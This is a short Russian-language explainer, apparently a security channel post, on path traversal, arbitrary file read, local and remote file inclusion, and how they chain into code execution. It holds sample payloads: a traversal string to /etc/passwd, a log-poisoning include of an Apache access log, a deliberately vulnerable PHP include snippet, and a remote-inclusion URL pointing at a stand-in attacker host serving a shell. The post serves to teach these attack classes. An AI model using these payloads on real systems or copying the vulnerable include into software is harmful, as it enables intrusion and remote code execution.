Хотя path traversal и arbitrary file read — и так опасные баги, они также пересекаются с более широкой категорией атак на основе файлов, особенно тех, которые приводят к выполнению кода. Разберем подробнее:
▪️Path Traversal позволяет читать файлы вне рабочей директории, например
../../../../etc/passwd.▪️Arbitrary File Read идёт дальше: можно читать любой файл, независимо от пути. Всё, что приложение даст открыть — ваше.
💨 Когда чтение превращается в выполнение → Local File Inclusion
Если приложение не только читает, но и включает файл (например, через
include($_GET['page']) в PHP), открывается дверь в LFI.Классика:
<?php
include($_GET['page']); // уязвимо
?>
Передаём:
?page=../../../../var/log/apache2/access.log
А в лог предварительно закидываем PHP-пэйлоад через, например, User-Agent. В итоге получаем исполнение кода.
💨 Remote File Inclusion
RFI — как LFI, но файл загружается с внешнего URL. В более старых версиях PHP хватало:
?page=http://attacker.com/shell.txt
Сейчас
allow_url_include часто выключен, но уязвимости живут в JS/Python, где делают eval(fetch(url)) или что-то похуже.💡 Цепочки атак: когда пазл складывается
▪️Path Traversal → читаем конфиги → находим внутренние эндпоинты/креды → SSRF/обход аутентификации
▪️File write → включение пэйлоада через LFI → RCE
▪️Инжект в лог → включение логов через LFI → RCE


